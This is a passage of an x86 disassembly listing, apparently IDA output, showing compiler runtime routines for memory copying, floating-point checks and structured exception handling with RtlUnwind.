					; DATA XREF: sub_418810+1DDr
		jmp	off_418AF0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	[edx-75D7FFBFh], cl
		inc	ecx
		add	[eax-76h], dl
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		mov	al, [ecx+0]
		lodsb
		mov	al, [ecx+0]
		mov	ah, 8Ah
		inc	ecx
		add	[edx+ecx*4-753BFFBFh], bh
		inc	ecx
		add	ah, cl
		mov	al, [ecx+0]
		aam	8Ah
		inc	ecx


loc_418A9F:				; DATA XREF: sub_418810+1C2r
		add	bh, ah
		mov	al, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418AE7:				; CODE XREF: sub_418810+1C2j
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_418AF0	dd offset loc_418B00	; DATA XREF: sub_418810+1B7r
					; sub_418810:loc_4189F4r ...
		dd offset loc_418B08
		dd offset loc_418B18
		dd offset loc_418B2C
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B08:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B18:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418B2C:				; CODE XREF: sub_418810+1B7j
					; sub_418810:loc_4189F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_418810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B45	proc near		; CODE XREF: sub_40B0F0+40p
					; .nsp0:0040D3A9p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4176F0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFF5
		add	esp, 10h
		leave
		retn
sub_418B45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418B79(double)

sub_418B79	proc near		; CODE XREF: sub_40C131+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AB40
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_418BFF
		call	sub_41D196
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_418BE2
		cmp	eax, 2
		jle	short loc_418BD4
		cmp	eax, 3
		jnz	short loc_418BE2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41CAA6
		add	esp, 10h
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418BD4:				; CODE XREF: sub_418B79+3Fj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418BE2:				; CODE XREF: sub_418B79+3Aj
					; sub_418B79+44j
		fld	[ebp+arg_0]
		fadd	dbl_423700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418BFF:				; CODE XREF: sub_418B79+2Fj
		call	sub_41D15B
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_418C22


loc_418C14:				; CODE XREF: sub_418B79+ACj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_418C44
; ---------------------------------------------------------------------------


loc_418C22:				; CODE XREF: sub_418B79+99j
		test	bl, 20h
		jnz	short loc_418C14
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_418C3C:				; CODE XREF: sub_418B79+84j
		call	sub_41CAF9
		add	esp, 1Ch


loc_418C44:				; CODE XREF: sub_418B79+59j
					; sub_418B79+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_418B79	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C48	proc near		; CODE XREF: sub_417C94+9p
					; sub_41D397+21p
					; DATA XREF: ...
		call	sub_418C60
		call	sub_41D397
		mov	dword_4D8724, eax
		call	sub_41D347
		fnclex
		retn
sub_418C48	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_418C60	proc near		; CODE XREF: sub_418C48p
		mov	eax, offset sub_41D785
		mov	off_43B12C, offset sub_41D41A
		mov	off_43B128, eax
		mov	off_43B130, offset sub_41D480
		mov	off_43B134, offset sub_41D3C0
		mov	off_43B138, offset sub_41D468
		mov	off_43B13C, eax
		retn
sub_418C60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C98	proc near		; CODE XREF: sub_40C131+1Bp
					; sub_40C131+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_418C98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418CBF(double)

sub_418CBF	proc near		; CODE XREF: sub_40C17D+82p
					; sub_40CAA5+3A1p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AB58
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_418D45
		call	sub_41D196
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_418D28
		cmp	eax, 2
		jle	short loc_418D1A
		cmp	eax, 3
		jnz	short loc_418D28
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41CAA6
		add	esp, 10h
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CBF+3Fj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D28:				; CODE XREF: sub_418CBF+3Aj
					; sub_418CBF+44j
		fld	[ebp+arg_0]
		fadd	dbl_423700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_418D82
; ---------------------------------------------------------------------------


loc_418D45:				; CODE XREF: sub_418CBF+2Fj
		call	sub_41D15B
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_418D68


loc_418D5A:				; CODE XREF: sub_418CBF+ACj
		push	esi
		push	ebx
		call	sub_41D2CE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_418D8A
; ---------------------------------------------------------------------------


loc_418D68:				; CODE XREF: sub_418CBF+99j
		test	bl, 20h
		jnz	short loc_418D5A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_418D82:				; CODE XREF: sub_418CBF+84j
		call	sub_41CAF9
		add	esp, 1Ch


loc_418D8A:				; CODE XREF: sub_418CBF+59j
					; sub_418CBF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_418CBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D8E	proc near		; CODE XREF: sub_41DBF6+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_418D8E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_418DC2	proc near		; CODE XREF: sub_41DDA7+199p
					; sub_41DF6B+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418DC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418DC9	proc near		; CODE XREF: sub_41DDA7+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418DC9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DD0	proc near		; CODE XREF: sub_418F82+5Cp
					; sub_41DBF6:loc_41DC27p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_418DF8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422274	; RtlUnwind


loc_418DF8:				; DATA XREF: sub_418DD0+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_418DD0	endp

; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: .nsp0:004223D0j
					; .nsp0:004223EDj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41D7FB
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E55	proc near		; CODE XREF: sub_41DC71+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_418EA9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41E000
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_418E55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA9	proc near		; DATA XREF: sub_418E55+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41D7FB
		add	esp, 20h
		pop	ebp
		retn
sub_418EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ECE	proc near		; CODE XREF: sub_41DA3D+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_418F82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418F54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4D8778
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_418F54:				; DATA XREF: sub_418ECE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_418F71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_418F7A
; ---------------------------------------------------------------------------


loc_418F71:				; CODE XREF: sub_418ECE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_418F7A:				; CODE XREF: sub_418ECE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F82	proc near		; DATA XREF: sub_418ECE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_418FA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_418FF2
; ---------------------------------------------------------------------------


loc_418FA5:				; CODE XREF: sub_418F82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41D7FB
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_418FE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_418DD0


loc_418FE3:				; CODE XREF: sub_418F82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_418FF2:				; CODE XREF: sub_418F82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FF7	proc near		; CODE XREF: sub_41D896+C6p
					; sub_41DA3D+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41904E


loc_419015:				; CODE XREF: sub_418FF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41901F
		call	sub_41E0A2


loc_41901F:				; CODE XREF: sub_418FF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_419034
		cmp	ecx, [eax+8]
		jle	short loc_419039


loc_419034:				; CODE XREF: sub_418FF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419045


loc_419039:				; CODE XREF: sub_418FF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_419045:				; CODE XREF: sub_418FF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_419015
		mov	eax, [ebp+var_4]


loc_41904E:				; CODE XREF: sub_418FF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_419062
		cmp	esi, eax
		jbe	short loc_419067


loc_419062:				; CODE XREF: sub_418FF7+65j
		call	sub_41E0A2


loc_419067:				; CODE XREF: sub_418FF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418FF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419074	proc near		; CODE XREF: sub_41EDEC+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41908C
		push	[ebp+arg_0]
		call	sub_422274	; RtlUnwind


loc_41908C:				; DATA XREF: sub_419074+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419074	endp


; =============== S U B	R O U T	I N E =======================================



sub_419094	proc near		; DATA XREF: sub_4190B6+Ao
					; sub_41911E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4190B5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4190B5:				; CODE XREF: sub_419094+10j
		retn
sub_419094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190B6	proc near		; CODE XREF: sub_41DD17+Dp
					; sub_41EDEC+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_419094
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4190D3:				; CODE XREF: sub_4190B6:loc_41910Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419110
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_419110
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41910E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41914A
		call	dword ptr [ebx+esi*4+8]


loc_41910E:				; CODE XREF: sub_4190B6+44j
		jmp	short loc_4190D3
; ---------------------------------------------------------------------------


loc_419110:				; CODE XREF: sub_4190B6+2Aj
					; sub_4190B6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4190B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41911E	proc near		; CODE XREF: sub_41DD37+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_419094
		jnz	short locret_419140
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_419140
		mov	eax, 1

locret_419140:				; CODE XREF: sub_41911E+10j
					; sub_41911E+1Bj
		retn
sub_41911E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419141	proc near		; CODE XREF: sub_41E000+1Ep
					; sub_41E000+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AB5C
		jmp	short loc_419154
sub_419141	endp


; =============== S U B	R O U T	I N E =======================================



sub_41914A	proc near		; CODE XREF: sub_4190B6+4Fp
					; sub_41EDEC+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AB5C
		mov	ecx, [ebp+8]


loc_419154:				; CODE XREF: sub_419141+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41914A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_419164	proc near		; CODE XREF: sub_40C17D+5p
					; sub_40C31F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_419164	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419183	proc near		; CODE XREF: sub_40C7BE+26p
					; .nsp0:00422045p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4177C1
		pop	ecx
		retn
sub_419183	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419190	proc near		; CODE XREF: sub_40C82F+3Ap
					; sub_41A052+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4191B0
		cmp	edi, eax
		jb	loc_419328


loc_4191B0:				; CODE XREF: sub_419190+16j
		test	edi, 3
		jnz	short loc_4191CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------


loc_4191CC:				; CODE XREF: sub_419190+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4191E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4191EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4191E4:				; CODE XREF: sub_419190+46j
		jmp	dword ptr loc_4192E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4191EC:				; CODE XREF: sub_419190+31j
					; sub_419190+8Ej ...
		jmp	off_41926C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_419200
		dd offset loc_41922C
		dd offset loc_419250
; ---------------------------------------------------------------------------


loc_419200:				; DATA XREF: sub_419190+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41922C:				; DATA XREF: sub_419190+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419250:				; DATA XREF: sub_419190+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4191EC
		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41926C	dd offset loc_4192CF	; DATA XREF: sub_419190:loc_4191ECr
		dd offset loc_4192BC
		dd offset loc_4192B4
		dd offset loc_4192AC
		dd offset loc_4192A4
		dd offset loc_41929C
		dd offset loc_419294
